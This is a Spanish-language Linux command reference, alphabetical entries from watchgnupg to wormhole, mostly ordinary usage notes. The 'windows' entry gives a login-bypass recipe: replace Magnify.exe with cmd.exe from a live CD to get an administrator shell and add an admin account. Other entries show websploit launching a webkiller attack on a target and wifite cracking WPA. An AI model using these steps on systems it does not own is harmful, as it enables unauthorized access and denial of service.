$ watchgnupg --force
Elimina un archivo de socket ya existente. Esta opción se utiliza si no se ha dado ningún nombre de socket en la línea de comandos
```

```
$ watchgnupg --homedir DIR
si no se da un nombre de socket, pase DIR a gpgconf para que se use el socket de un GnuPG que se esté ejecutando en su directorio home
```

```
$ watchgnupg --tcp n
En lugar de leer de un socket local, escucha conexiones en el puerto TCP n. Opcionalmente, también se puede dar un socket de dominio Unix como segunda fuente
```

```
$ watchgnupg --time-only SOCKET
No imprima la parte de la fecha de la marca de tiempo
```

```
$ watchgnupg --verbose SOCKET
Activar la salida de información adicional.
```

## watson

Controlar los tiempos que se dedican a un proyecto.

```
$ watson start proyecto1 (iniciar el control del proyecto1)
Starting project proyecto1 at 08:15
Lista de algunos comandos útiles:
```

```
cancel - Cancelar la última llamada al comando de inicio. El tiempo no será registrado.
frames - Mostrar la lista de todos los frames.
log - Mostrar cada sesión grabada durante el período de tiempo determinado.
projects - Lista todos los proyectos existentes.
remove - Eliminar un frame.
rename - Cambiar el nombre de un proyecto o etiqueta.
report - Informe del tiempo dedicado a cada proyecto.
restart - Reiniciar tiempo de monitoreo para un proyecto previamente detenido.
status - Muestra cuándo se inició el proyecto actual y el tiempo transcurrido desde entonces.
stop - Dejar de monitorear el tiempo para el proyecto actual.
tags - Mostrar lista de todas las etiquetas.
```

## wavemon

Permite observar los niveles de señal y ruido, paquetes estadísticas, configuración del dispositivo y parámetros de red de su hardware de red inalámbrica.

```
$ wavemon
abre el monitoreo
```

## wc

Cuenta caracteres, líneas, palabras...

```
$ wc /etc/hosts /etc/fstab
Muestra líneas, palabras y caracteres de los dos archivos
```

```
$ wc -c /etc/fstab
bytes
```

opciones:

-l (cantidad de líneas)

-w (cantidad de palabras)

-m (total de caracteres.)

-L (la longitud de la línea más larga del texto)

## wcatalan

Paquete que proporciona el fichero /usr/share/dict/catala que contiene una lista alfabética de palabras catalanas.

## wdctl

[util-linux]. Muestra el estado de la vigilancia del hardware. El dispositivo predeterminado es /dev/watchdog

```
# wdctl -F
no imprime información sobre flags
```

```
# wdctl -r
formato de salida sin formato para la tabla de flags
```

```
# wdctl -I
información de identidad del organismo de control y tabla de flags
```

```
# wdctl -O
información en una sola línea
```

## wcd

Programa para cambiar de directorios rápidamente. Solo se precisa escribir una parte de un nombre de directorio y wcd saltarán a él. De manera predeterminada, wcd busca un directorio con un nombre que comienza con lo que se ha escrito. El uso de comodines también es totalmente compatible.

## wdel

[wput]. Pequeño cliente ftp, que carga archivos o directorios a un servidor ftp remoto. Las características principales son: reanudación, sellado de tiempo, interfaz tipo wget, proxy-soporte y límite de velocidad.

## wdiff

Compara dos archivos, encontrando qué palabras se han eliminado o agregado al primero para crear el segundo. wdiff es particularmente útil cuando dos textos difieren solo por unas pocas palabras y se han rellenado párrafos.

```
$ wdiff texto.txt texto2.txt
forma básica
```

```
$ wdiff -3 texto.txt texto2.txt
sólo mostrando la diferencias
```

## weather

[weather-util]. Estado del tiempo. Buscar el código de la ciudad en:

<http://www.nws.noaa.gov/tg/siteloc.shtml>

```
$ weather -m -v LEGE
En decimal con la maxima información y para Gerona [España]
```

## webalizer

Genera reportes en formato html de los accesos a una página web instalada en la misma máquina.

Configuración mínima:

```
# nano /etc/webalizer/webalizer.conf
```

Verificando que el siguiente contenido esté descomentado:

```
LogFile      /var/log/apache2/access.log
OutputDir    /var/www/webalizer
Incremental   yes
ReportTitle   Estadísticas de PAGINAWEB_NOMBRE
Hostname     URL_PAGINA
IgnoreSite    localhost
Especificamos los logs a analizar [logfile], el directorio de salida de los resultados [outputdir],
que analice todo por separado [incremental], título de la página de reporte [reporttitle],
nombre de la página a analizar [hostname] y que innore los accesos desde la propia máquina [
ignoresite]
```

```
# webalizer -c /etc/webalizer.conf -d
que se base en el archivo especificado [-c] y que haga debugging de los reportes por si todo salió
sin errores [-d]
```

Dado que los reportes solo se realizan cuando se ejecuta el comando, es preferible colocar la línea en crontab:

```
$ crontab -e
```

Y añadir:

```
0 0 * * * /usr/bin/webalizer -c /etc/webalizer.conf -d
```



## webcheck

Revisa una URL, siguiendo sus enlaces y genera un informe index.html en el presente directorio.

```
# webcheck URL
```

## web2disk

Herramienta que permite descargar un sitio web, incluyendo imágenes, hojas de estilo y otros contenidos incrustados, para navegar sin conexión.

```
$ web2disk URL
```

## webfsd

Sencillo servidor HTTP para contenido estático. Carece de archivos de configuración por lo que todas sus funcionalidades se pueden controlar por parámetro. Acceso por navegador con `http://url_o_ip:puerto`.

```
$ webfsd -r /home/usuario/videos -p 12001
```

Compartir el directorio "videos" por el puerto 12001 y actuando como demonio. Matar el proceso con `killall webfsd`

```
$ webfsd -F -r /home/usuario/videos -p 12001 -b pepe:1234
```

Solicitando nombre de usuario y contraseña y sin actuar como demonio [-F]. Matar el proceso con `Ctrl+c`

## webkit2pdf

Descargar la portada de una página web y pasarla a pdf.

```
$ webkit2pdf -f test.%02d.pdf -o web http://lapipaplana.net
```

Que la descargue y la guarde [f] en formato "test.00.pdf" y en el directorio web [o]

## webood

[mplayer python-weboob-core] Colección de aplicaciones capaces de interactuar con los sitios web sin necesidad de que el usuario abra un navegador. Varias de las aplicaciones que lo integran son específicas para usuarios franceses. En el tractatus se han desarrollado sólo (Ver): geolooc (geolocalizar direcciones IP), videoob (búsqueda de vídeo), weboorrents (búsqueda de torrents) y webboobs (pronóstico del tiempo). La instalación a partir de los repositorios (Debian) producía ciertos errores en la salida de algunos comandos. La solución pasa por descargar el zip de github:

```
$ wget https://github.com/frankrousseau/weboob/archive/master.zip
$ unzip master.zip
$ cd weboob-master
# python setup.py install
```

```
$ weboob-config update
```

Actualizar

```
$ weboob-config disable geolocip
```

Desactivar un módulo. Este concretamente da errores. "enable" para activarlo

```
$ weboob-config list
```

Listar los módulos

```
$ weboob-config add youporn
```

Añadir un módulo

```
$ weboob-config info btmon
```

Información sobre un módulo

## weboorrents

[webood (Ver)]. Descarga de torrents.

```
$ weboorrents
Entrar en el prompt
```

```
weboorrents> search kali (Mostrar salida para "kali")

weboorrents> info 7 (Informaciónj sobre la salida "7" dels listado anterior)

weboorrents> getfile 7 (descargar el torrent o magnet "7")

weboorrents> quit (Salir del prompt)
```

## webp

Reduce la medida de imagenes jpeg y png. Es una herramienta de google que, de momento [2013] el formato webp sólo es compatible con algunos navegadores [chromium y Opera] pero puede usarse para comprimir una imagen para acto seguido descomprimirla de nuevo: La reducción de peso es considerable .

```
$ cwebp -q 60 entrada.png -o salida.webp
Compresión al 70 %. Por defecto 75
```

```
$ dwebp entrada.webp -o salida.png
Descompresión
```

## webpng

Información de imágenes .png

```
$ webpng -d imagen.png
medidas y otras características
```

```
$ webpng -l imagen.png
tabla de colores indexados
```

## websploit

Explotación de vulnerabilidades y ataques en red. Contiene varios módulos divididos en: web, red, explotación y wifi. Descarga: <http://sourceforge.net/projects/websploit/>

Uso básico:

```
# websploit
Lanzar la aplicación y entrar en el prompt
```

```
wsf > show modules (Ver los mudulos disponibles)

wsf > use network/webkiller (Escoger el módulo que se va a usar)

wsf > show options (Ver los parámetros que han de entrarse)

wsf > set target http://192.168.1.10 (Entrar el/los parámetros que solicite "show options")

wsf > run (Iniciar el ataque)
```

Otros comandos:

```
wsf > os ip a (Lanzar un comando externo, "ip a" en este caso)

wsf > update (Comprobar actualizaciones)

wsf > upgrade (Aplicar las actualizaciones)

wsf > back (Salir del módulo actual)

wsf > stop (Para el ataque o el scaneo)
```

## weechat-curses

chat irc.

Comandos básicos (Comunes para aplicaciones relacionadas con chat irc):

```
/connect irc.irc-hispano.org (Conectar con un servidor)
/nick obama (Ponerse un alias)
/list (Listado de las salas disponibles)
/join #ubuntu (conectar con una sala)
/part #ubuntu (Salir de una sala)
/partall (Salir de todas las salas)
/exit (Salir de IRC)
/quit hasta la proxima (Salir dejando un mensaje)
/whois nick (Información del usuario con el nick especificado)
/who #canal (Muestra información sobre un canal)
/query nick (Abrir una linea con una persona)
/help (Muestra la ayuda)
/me Linux es genial (Muestra el mensaje)
/away Estoy durmiendo (Muestra que estamos ausentes)
/notice Aquí estoy (Mandar un texto en forma de notificación)
/ison nick (Indica si un nick está conectado)
/ignore nick (Permite ignorar a un usuario)
/send nick archivo (Permite enviar un archivo a un usuario)
/log on/off (Activa o desactiva la grabación de la conversación actual)
```

## wetboobs

[weboob (Ver)]. Previsión del tiempo. Precisa activar el módulo weather (Ver weboob).

```
$ wetboobs
Entra en el prompt
```

wetboobs> cities girona (Muestra todas las opciones geograficas de "girona")

wetboobs> current 1 (Muestra la previsión para el dia actual de la opción 1 del listado anterior)

wetboobs> forecast 3 (Muestra la previsión de varios dias de la opción 1)

wetboobs> quit (Salir del prompt)

## wget

Realizar descargas de una web. Soporta protocolo http, https y ftp.

```
$ wget http://www.ubuntu.org/ubuntu.iso
descarga básica
```

```
$ wget http://www.tuxapuntos.com
descargar página inicial del sitio web
```

```
$ wget http://www.ubuntu.org/ubuntu.iso ftp://www.debian.org/debian5.iso
varias descargas
```

```
$ wget -i archivo.txt
Realizar las descargas enumeradas en archivo.txt
```

```
$ wget --limit-rate=60k ftp://ftp.ubuntu.org/hardy.iso
limitar ancho banda
```

```
$ wget -p http://www.tuxapuntos.com
todos los elementos extras
```

```
$ wget -c http://direccion_de_la_descarga.com
reiniciar descarga interrumpida
```

```
$ wget --spider --no-parent -r -o log.txt http://web.com
lista enlaces rotos
```

## W

```
$ wget -m -p -k -P DIR http://www.tuxapuntos.com
descargar todo un sitio recursivamente [-m], todo tipo de recursos, css, imágenes y demás para que
se vea localmente [-p] y convierte los enlaces a accesibles de forma local [-k] y se guarde en el
directorio "DIR"
```

```
$ wget --wait=20 --limit-rate=20K -r -p -U Mozilla http://url.com
lo mismo pero haciendo pausas entre páginas y simulando ser un navegador
```

```
$ wget -O - -q http://checkip.dyndns.org/ | cut -d':' -f2 | cut -d'<' -f1 | cut -c2-
Conocer la ip publica
```

```
$ wget -O - -q http://whatismyip.org/
Lo mismo
```

```
$ wget http-user=usuario http-password=contraseña URL
Descargar con usuario y contraseña
```

```
$ wget ftp-user=usuario ftp-password=contraseña URL
Lo mismo con protocolo ftp
```

1.-

Muestra para la descarga de una web completa:

```
$ wget http://www.server.com/login.php --post-data "user=Usuario&password=Contraseña" --save-
cookies website.cookie --no-check-certificate -O - > /dev/null
```

Los argumentos:

```
post-data (Especificamos los parámetros a pasarle al script para que nos autentique, en
este caso "user" y "password" pero esto varia según la web)
save-cookies (Indicamos donde guardar el archivo con la cookie, esta cookie será necesaria
después para descargar la web con nuestra sesión iniciada)
no-check-certificate (No comprobar el certificado del servidor con las entidades emisoras
de certificados)
-O - (No generar un archivo de salida ya que solo cogeremos la cookie)
Una vez obtenido el cookie:
```

```
$ wget -rkcp -e robots=off -U Mozilla --limit-rate=80K --random-wait --load-cookies website.
cookie --domains server.com --html-extension http://www.server.com
```

Los argumentos:

```
-r (indica que descarge toda la web recursivamente)
-c (En caso de que queramos retomar la descarga después o si fallase, este parámetro le
indica que retome la descarga por donde se interrumpió)
-e robots=off (Ignorar el archivo robots.txt, si existe en el servidor)
-U Mozilla (Especifica el User-Agent de Mozilla Firefox en las cabeceras HTTP, útil para
ciertas webs que bloquean algunos User-Agents)
--random-wait (Espera un tiempo aleatorio entre una petición y otra para evitar un posible
colapso en la web o ser detectados por algún sistema de seguridad)
--load-cookies (Carga la cookie de sesión previamente descargada)
--domains server.com (Indica que solo descarge el contenido de la web especificada y que
no siga las urls externas encontradas)
--html-extension (Guarda todos los documentos en formato HTML)
```

## whatis

Mostrar una breve descripción de un comando.

```
$ whatis ifconfig
```

## what-patch

Detectar qué sistema de parches utiliza un paquete Debian. what-patch debe ejecutarse desde el directorio raíz del paquete fuente de Debian.

```
# what-patch -v
```

## whatportis

Comando para buscar a qué número de puerto corresponde un servicio o qué servicio corre por un puerto. Descarga de <<https://github.com/ncrocfer/whatportis>> o mediante la aplicación pip [pip install whatportis]

```
$ whatportis ssh
$ whatportis 5432
$ whatportis mysql --like
Cuando no se conoce exactamente el nombre del servicio
```

## whatweb

Identifica sitios web: tecnología web, sistemas de gestión de contenidos [CMS], plataformas de blogs, estadística, bibliotecas JavaScript, servidores, dispositivos embebidos, direcciones de correo, versiones, errores SQL.... cuenta con más de 1600 plugins.

```
$ whatweb -l
Muestra listado de plugins

$ whatweb -I nginx
Información sobre los plugins relacionados con "nginx"

$ whatweb URL
Uso básico

$ whatweb -a 3 -v URL
Con un nivel agresivo [a 1: pasivo, a 3: agresivo y a 4: muy agresivo] usando todos los plugins [por defecto], y que muestre toda la información [v]

$ $ whatweb -p nginx URL
Sólo usar un plugin

$ whatweb 192.168.1.0/24
Que analice toda una red
```

## when

Agenda personal.

```
$ wget http://www.lightandmatter.com/when/when.tar.gz
$ tar -zxvf when.tar.gz
$ cd when_dist
# make install
```

La primera vez que se lance preguntará donde queremos el directorio personal [por defecto en .when]: pulsar "y" y el editor que queremos [por defecto emacs] yo puse "nano", siempre sin las comillas.

Colocar en .bashrc un alias para que muestre la información en español:

```
$ nano .bashrc
```

Añadir la línea:

```
alias when='when --language=es'
```

Si no tenemos ninguna entrada en .when/calendar al lanzar:

```
$ when
Mostrará fecha actual
```

Para entrar datos:

```
$ nano .when/calendar
```

El formato de los datos es:

## W

---

2013 mar 19 , Gritar tres veces: Stallman es un genio...

Una vez entrados los datos al lanzar:

```
$ when
```

Mostrará la fecha actual y los datos más proximos.

Nota.- La abreviatura de los meses ha de ser en inglés: jan, feb, mar, apr, may, jun, jul, aug, sep, oct, nov, dec.

## whereami

Es un conjunto de scripts útiles y un sistema de coordinación para reubicar automáticamente su computadora dentro del entorno de red.

```
# whereami
forma básica informando las coordenadas
```

```
# whereami -f human
ubicación más entendible
```

```
# whereami -r
todavía más especifica
```

## whereis

Para encontrar donde se ha instalado un programa, su manual, ...

```
$ whereis firefox
```

## which

Para encontrar el ejecutable si está en el path

```
$ which firefox
```

## which.debianutils

Igual que el comando which. Devuelve los nombres de ruta de los archivos, enlaces o ejecutables.

```
$ which.debianutils liferea
```

## which-pkg-broke

Encontrar qué paquete podría haber roto otro. En algunas distros puede aparecer como which-pkg-broke-build

```
$ which-pkg-broke firefox
```

## while

Ejecuta una serie de comandos mientras que una determinada condición sea cumplida. Algunos scripts ilustrativos:

1.-

```
#!/bin/bash
RESPUESTA=s
while [ $RESPUESTA = s ]
do
    echo "Introducir nombre: "
    read NOMBRE
    echo "Hola $NOMBRE"
    echo "¿Desea continuar? (s/n)"
    read RESPUESTA
done
```

2.-

```
#!/bin/bash
while [ "$OPCION" != 5 ]
do
    echo
    echo "[1] Listar directorio"
    echo "[2] Directorio donde te encuentras"
    echo "[3] fecha de hoy"
    echo "[4] Usuarios conectados"
    echo "[5] Salir"
    echo
    read -p "Ingrese una opción: " OPCION
    echo
    case $OPCION in
        1) ls;;
        2) pwd;;
        3) date +%D ;;
        4) who;;
        5) ;;
        *) echo "Opción ingresada no valida, intentelo de nuevo";;
    esac
done
exit 0
```

3.-

```
#!/bin/bash
# imprimir números del 1 al 10
LIMITE=10
a=1
while [ "$a" -le $LIMITE ]
do
    echo "$a "
    let "a+=1"
done
```

4.-

Leer un archivo línea a línea:

```
#!/bin/bash
while read linea
do
    echo "---> $linea "
done < archivo.txt
```

5.-

Especificando un separador [:]

```
#!/bin/bash
while IFS=: read user pass uid gid full home shell
do
    echo -e "$full :\n\
        Pseudo : $user\n\
        UID :\t $uid\n\
        GID :\t $gid\n\
        Home :\t $home\n\
        Shell :\t $shell\n\n"
done < /etc/passwd
```

6.-

## W

Leer un archivo pasado como parámetro, descartar las líneas en blanco y colorear alternativamente las siguientes en amarillo y rojo.

```
#!/bin/bash
COLOR=1
while read linia
do
    if [ -z "${linia}" ]
    then
        continue
    fi
    if [ $COLOR -eq 0 ]
    then
        echo -e "\e[1;30;41m$linia\e[0m" #VERMELL - 0
        COLOR=1
    else
        echo -e "\e[1;30;43m$linia\e[0m" #GROC - 1
        COLOR=0
    fi
done < $1
```

## whiptail

Muestra ventanas en consola. Parecido a dialog con menos opciones.

## who

[whowatch]. Muestra información sobre los usuarios que están conectados al equipo.

```
$ who -b
Tiempo desde el último arranque del sistema
```

```
$ who -d
Procesos truncados
```

```
$ who -r
Informa del runlevel activo
```

```
$ who am i
usuario, número de terminal y fecha de entrada en dicha terminal
```

## whodepends

Comprueba qué paquetes dependen de un paquete dado y da los nombres y direcciones de correo electrónico de todos sus mantenedores

```
$ whodepends firefox
```

```
$ whodepends nano
```

## who-permits-upload

Busca los permisos de carga del Mantenedor de Debian (DM) proporcionados desde ftp-master.debian.org y los analiza de forma legible por humanos. La herramienta puede buscar por nombre de DM, patrocinador (la persona que otorgó el permiso) y por paquete.

```
$ who-permits-upload -s sponsor "Marco d'Itri"
```

```
$ who-permits-upload -s uid whois
```

```
$ who-permits-upload apache2
```



## who-uploads

Identifica las tres últimas versiones descargadas del paquete dado. Los cargadores se identifican utilizando sus llaves gpg o gpg2; la instalación de una versión reciente del paquete debian-keyring debería proporcionar la mayoría de las claves requeridas. Debido a que el PTS usa paquetes fuente, ha darse los nombres del paquete fuente, no los nombres del paquete binario.

```
$ who-uploads -M 5 emacs25
dando la fecha de cada versión y de las últimas 5 del paquete mencionado
```

```
$ who-uploads --no-date firefox
sin mencionar la fecha del paquete firefox
```

## whoami

Muestra el usuario con el que estamos. Misma salida que `id -un [ver]`

```
$ whoami
```

## whois

Conocer los datos del registro de un dominio. Especificar sin las `www`

```
$ whois todo-linux.com
```

## wicd-curses

conexiones a una red inalámbrica.

```
$ wicd-curses
```

Si hay redes libres seleccionar la red y presionar la tecla C. Si existen redes con seguridad habilitada, situarnos en la red con la que deseemos conectar, y presionar la tecla -> [la flecha derecha]. Mostrará otro menú donde ingresar protocolo de seguridad y clave.

## wicd-gtk

Applet de wicd para el área de notificación (tray)

```
$ wicd-gtk -a
```

## wifite

[aircrack-ng reaver]. Crackear redes wpa2 con el "Wi-fi protected setup" activo.

```
# wifite
Inicia el proceso
```

## wikipedia2text

Consultar en la wikipedia y ver la consulta por terminal o por el navegador.

```
$ wikipedia2text -b chromium -l es emacs
ver la consulta con chromium y en español
```

```
$ wikipedia2text -l es girona
ver la consulta por terminal
```

```
$ wikipedia2text -o -l es emacs
por navegador de terminal
```

```
$ wikipedia2text -r -l es
ver consultar aleatorias de la wikipedia en español
```

## wikit

Buscador en la wikipedia por teminal.

```
$ wikit -l es mostaza
Buscar mostaza en la wikipedia en castellano
```

```
$ wikit -b linux
abrir el articulo de la definición en el navegador
```

```
$ wikit -d linux
abrir en el navegador la página de parecidos
```

## windows

1.-

Redimensionar desde windows:

Botón derecho en: Mi PC \ Administrar o Inicio \ Panel de control \ Herramientas administrativas \ Administracion De Equipos. Clicar con el boton derecho sobre la particion que queremos modificar. Aparecen dos opciones:

\* Extend Volume

\* Shirk Volume

La opcion de Shrink Volume es la que nos permite liberar espacio de la partición. Windows moverá los archivos necesarios en su interior. Igualmente informá del tamaño maximo que puede liberar con garantias de integridad de datos. El espacio libre podremos particionarlo posteriormente usando herramientas clásicas como gparted.

2.-

Re-dimensionar desde Linux:

Cuando a gparted le resulta imposible re-dimensionar particiones ntfs [con vista, por ejemplo] usaremos un Live con las herramientas ntfsprogs [puppy, entre otras]. Previamente habremos desfragmentado la partición win y, si procede, reparados posibles errores de disco desde la consola del sistema [cmd] lazando chkdsk /c

Arrancado el Live, averiguamos el nombre de la partición:

```
# fdisk -l | grep NTFS
```

Si no hemos lanzado chkdsk en win, con linux podemos reparar los posibles errores con:

```
# ntfsfix /dev/sdax
```

Comprobar si detecta correctamente la partición win:

```
# sudo ntfsresize -P -i -f -v /dev/hda1 --ad-sectors
```

ntfsresize v2.0.0 (libntfs 10:0:0)

Device name : /dev/hda1

NTFS volume version: 3.1

...

Ordinary : 55549 MB 49454

You might resize at 25961267200 bytes or 25962 MB (freeing 32608 MB).

Please make a test run using both the -n and -s options before real resizing!

Indica cuánto podemos redimensionar (25962 MB) y cuánto espacio quedaría libre (32608 MB). Suponemos que deseamos dejar el sistema de ficheros en 29055000000 by (29055 MB). Primero lo simulamos ( recomendable realizar la prueba varias veces):

## W

```
# ntfsresize -f -s 29055000000 -n /dev/hda1 --bad-sectors
```

```
ntfsresize v2.0.0 (libntfs 10:0:0)
```

```
Device name : /dev/hda1
```

```
NTFS volume version: 3.1
```

```
...
```

```
ERROR: Extended record needed (1096 > 1024), not yet supported!
```

```
Please try to free less space.
```

```
Indica que no se ha dejado suficiente espacio para desplazar los datos.
```

```
dejamos más espacio:
```

```
# ntfsresize -f -s 31055000000 -n /dev/hda1 --bad-sectors
```

```
ntfsresize v2.0.0 (libntfs 10:0:0)
```

```
Device name : /dev/hda1
```

```
...
```

```
Updating Boot record
```

```
The read-only test run ended successfully.
```

```
La simulación sale correcta, procedemos a aplicarla quitando el parámetro -n
```

```
# ntfsresize -f -s 31055000000 /dev/hda1 --bad-sectors
```

```
ntfsresize v2.0.0 (libntfs 10:0:0)Device name : ...
```

```
...
```

```
Syncing device
```

```
Successfully resized NTFS on device /dev/hda1.
```

```
3.-
```

```
Crear un usuario administrador en windows [7, server 2008...]
```

```
Arrancar con un Live-cd y montar la partición win.
```

```
Entrar en C:\Windows\System32
```

```
Borrar el archivo Magnify.exe
```

```
Copiar el fichero cmd.exe y renombrar como Magnify.exe
```

```
Reiniciar para que arranque Windows.
```

```
Ejecutar la herramienta de lupa y arrancará una ventana de comandos como usuario administrador
```

```
Crear un usuario administrador:
```

```
net user /add admin
```

```
net localgroup administrators admin /add
```

```
net user admin *
```

```
Reiniciar win y entrar con el usuario creado.
```

## wine

Ejecuta programas de Windows en Linux

```
$ wine programa.exe
```

```
$ winecfg
```

Abre la ventana de configuración

1.-

En distros de 64 bits, ejecutar wine en modo 32 bits

Se debe eliminar o mover la carpeta ~/.wine y recrearla de nuevo. Primero se realiza un export de la variable WINEARCH en la terminal

```
$ export WINEARCH=win32
```

Y luego se ejecuta wine de nuevo

```
$ wine programa32bits.exe
```

## winetricks

Herramienta para instalar librerías y complementos para wine

```
$ winetricks
```

ejecuta la interfaz gráfica del programa

```
$ winetricks corefonts
```

Instala fuentes como Arial y Verdana

Más referencias de winetricks aquí: <<http://wiki.winehq.org/winetricks>>

## wipe

Borrado de archivos, directorios, particiones o discos de forma segura.

```
$ wipe archivo
```

Sobreescribiendo 34 veces el espacio

```
$ wipe -fq
```

Sin pedir confirmación y sólo reescribiendo 4 veces

```
$ wipe -rq -Q 10 -i -c DIR/ (Que suprima los subdirectorios [r], que haga 10 pasadas y no sólo 4 [-q -Q 10], que muestre detalles [-i] y por si tienen permisos que chmod entre en acción [c])
```

## wird

Frontend basado en ncurses para recordatorios, cálculo de fechas, fases lunares, salida y puesta del sol, calendario hebreo, alarmas, mensajes multilingües y manejo adecuado de los días festivos. Muestra en una tabla de tiempo navegable junto con un calendario y permite al usuario crear nuevos recordatorios con o sin tiempo.

```
$ wird
```

## wkhtmltopdf

Pasar una página web o un archivo html a pdf

```
$ wkhtmltopdf tuxapuntos.com tuxapuntos.pdf
```

```
$ wkhtmltopdf -O Landscape -s A4 file.html file.pdf
```

Apaisado y A4

Algunas opciones:

-O Portrait (Vertical)

-s A3

## wmbattery

Pequeña ventana que se abre en el escritorio y muestra la carga de la batería.

```
$ wmbattery
```

## wmcalclock

Abre una pequeña ventana en el escritorio y muestra calendario, hora de Greenwich, hora sideral media de Greenwich y hora sideral local.

```
$ wmcalclock -24 -S
Formato 24 horas y sin mostrar los segundos
```

## wmclok

Abre una pequeña ventana en el escritorio que muestra calendario en inglés y la hora

```
$ wmclock -12 -led gold
formato 12 horas y color de la letra dorada
```

## wmclockmon

Abre una pequeña ventana en el escritorio que muestra un reloj como wmtime, pero con un temporizador de alarma y diferentes estilos.

```
$ wmclockmon -a 17:33
Con alarma a las 17'33
```

## wmclockmon-cal

[wmclockmon]. Pequeña ventana que se abre en el escritorio y muestra el calendario del mes actual

```
$ wmclockmon-cal
```

## wmcpu

Pequeña ventana que se abre en el escritorio y muestra información sobre la CPU. la memoria, la swap y tiempo de actividad.

```
$ wmcpu
```

## wmcpuload

Pequeña ventana que se abre en el escritorio y muestra el uso actual de la CPU como valor porcentual y gráfico con una apariencia similar a LCD.

```
$ wmcpuload -a 50
Que muestre alarma al llegar a 50% de uso. Por defecto 90
```

## **wmctrl**

Interactuar con las ventanas

```
$ wmctrl -l
Muestra el ID de todas las ventanas
```

```
$ wmctrl -s 2
Ir al escritorio 3 [la primera es la 0]
```

## **wmdate**

Pequeña ventana que se abre en el escritorio que puestra ucomo una hoja de calendario en inglés.

```
$ wmdate
```

## **wmdiskmon**

Pequeña ventana que se abre en el escritorio que muestra el uso del disco.

```
$ wmdiskmon
```

## **wmfire**

Pequeña ventana que se abre en el escritorio que muestra el uso actual de la CPU como un fuego bonito y ardiente.

```
$ wmfire
```

## **wmforkplot**

Pequeña ventana que se abre en el escritorio y supervisa la actividad del núcleo y muestra una lista de los procesos que consumen más CPU.

```
$ wmforkplot
```

## **wmfrog**

Pequeña ventana que se abre en el escritorio que proporciona informes meteorológicos. Precisa configurar la estación de la que se quiere monitorizar el tiempo [FAA, WMO]

```
$ wmfrog -s FAA -delay 10
usando FAA y que se actualice cada 10 minutos. Por defecto 15
```

## **wmfsm**

Abre una pequeña ventana en el escritorio que muestra hasta qué punto se utilizan los sistemas de archivos montados.

```
$ wmfsm
```

## **wmgtemp**

Pequeña ventana que se abre en el escritorio y muestra gráficamente las temperaturas de CPU y SYS de las placas base compatibles con lm\_sensors. Para hacer que wmgtemp funcione precisa configurar lm\_sensors.

```
$ wmgtemp
```

## **wmhdplot**

Abre una pequeña ventana en el escritorio y monitore los discos duros a base de estímulos visuales cada vez que su /dev/hdx escribe o lee algo.

```
$ wmhdplot
```

## **wmifinfo**

Abre una pequeña ventana en el escritorio que muestra información básica de red para todas las interfaces disponibles. Muestra la dirección IP, la máscara de red, la puerta de enlace y la dirección MAC de forma similar a ifconfig.

```
$ wmifinfo
```

## **wmifs**

Pequeña ventana que se abre en el escritorio y monitorea todas las interfaces de red.

```
$ wmifs
```

## **wmitime**

Muestra en una pequeña ventana en el escritorio una aplicación de base reloj, que muestra la hora estándar y la fecha. La característica única es que también puede mostrar el tiempo de Internet con notación @TIME.

```
$ wmitime
```

## **wmload**

Muestra en una pequeña ventana en el escritorio una representación gráfica del núcleo/sistema y estadísticas.

```
$ wmload
```

## **wmmatrix**

Muestra matrix en una pequeña ventana en el escritorio.

```
$ wmmatrix
```

## **wmmemload**

Muestra en una pequeña ventana en el escritorio la memoria actual y el uso de intercambio como un valor porcentual.

```
$ wmmemload
```

## **wmmisc**

Monitorea la cantidad de usuarios conectados, total de procesos, cantidad de procesos en ejecución y promedio de carga del sistema. Abre una pequeña ventana en el escritorio.

```
$ wmmisc
```

## wmmmon

Monitor de la carga de la CPU en tiempo real, así como la carga promedio del sistema y también brinda algunas características adicionales. Abre una pequeña ventana en el escritorio.

```
$ wmmmon -s
Empezar en modo información del sistema, uso de la memoria, uso de intercambio y el tiempo de funcionamiento
```

## wmnd

Muestra un gráfico de tráfico entrante/saliente, indicadores de actividad para rx/tx y velocidad actual máxima para rx/tx en bytes o paquetes.

```
$ wmnd
uso básico
```

```
$ wmnd -I eth0
especificando interfaz de red
```

## wmshutdown

Aplicación de muestra en el escritorio un aplet que permite apagar o reiniciar la máquina simplemente haciendo clic y confirmando.

```
$ wmshutdown
```

## wnpp-alert

Comprobar si hay paquetes instalados en adopción o huérfanos. Descarga las listas de paquetes que han quedado huérfanos (O), están en adopción (RFA), o que el responsable ha pedido ayuda (RFH) de las páginas web de WNPP y los muestra en una lista.

```
$ wnpp-alert
```

## wnpp-check

Comprueba si un paquete se está empaquetando (ITPed) o si se ha solicitado un paquete (RFPed) desde el sitio web de WNPP <<https://www.debian.org/devel/wnpp>> y enumera los paquetes que se incluyen en la línea de comando que aparecen en esas listas.

```
$ wnpp-check paquete
```

## wodim

Grabación de cds i dvds

```
$ wodim -v -eject dev=/dev/cdrw -data imagen.iso
Grabar una iso
```

```
$ wodim -v -eject dev=/dev/dvd -data imagen.iso
Grabar imagen en un DVD
```

```
$ wodim -v -eject blank=fast dev=/dev/cdrw
Borrar un CD
```



## wondershaper

Limitar el ancho de banda de la conexión de una red. Prioriza telnet y ssh sobre tráfico web, y este sobre las descargas de datos. Para limitar aplicaciones ver trickle.

```
# wondershaper eth0
Muestra el estado de la red eth0
```

```
# wondershaper eth0 1024 512
limita la conexión a 1024 kbps de bajada y 512 kbps de subida
```

```
# wondershaper clear eth0
Elimina los ajustes realizados en la red especificada
```

## wordplay

Buscador de anagramas o sea buscar una palabra o frase hecha al transponer las letras de otra palabra o frase. El idioma empleado es el inglés. Cada letra del anagrama debe aparecer con la misma frecuencia que en la cadena original.

```
$ wordplay university
Anagrama de la cadena "university"
```

```
$ wordplay university -lx
lista las palabras que se pueden deletrear usando las letras "university"
```

```
$ wordplay university -n3m8
Anagrama de la cadena "university" usando palabras de más de 3 letras y menos de 8
```

```
$ wordplay university -ld3m10 -f /usr/share/dict/words
Imprimir anagramas que contengan hasta 3 palabras, sin considerar ninguna palabra de más de 10 caracteres y utilizando el archivo "/usr/share/dict/words" en lugar de "words721.txt" que es el por defecto
```

```
$ wordplay university -slx
Imprime la lista de palabras de la cadena "university". La salida consistirá sólo en las palabras [s]
```

## wormhole

[magic-wormhole]. Envío de archivos o directorios entre computadoras usando un código de un solo uso. La máquina emisora genera y muestra el código, que debe ser escrito en la máquina receptora. El ejemplo que sigue es sacado de la página del proyecto <<https://github.com/warner/magic-wormhole>>

En la máquina emisora:

```
$ wormhole send README.md
Sending 7924 byte file named 'README.md'
On the other computer, please run: wormhole receive
Wormhole code is: 7-crossover-clockwork
En la máquina receptora:
```

```
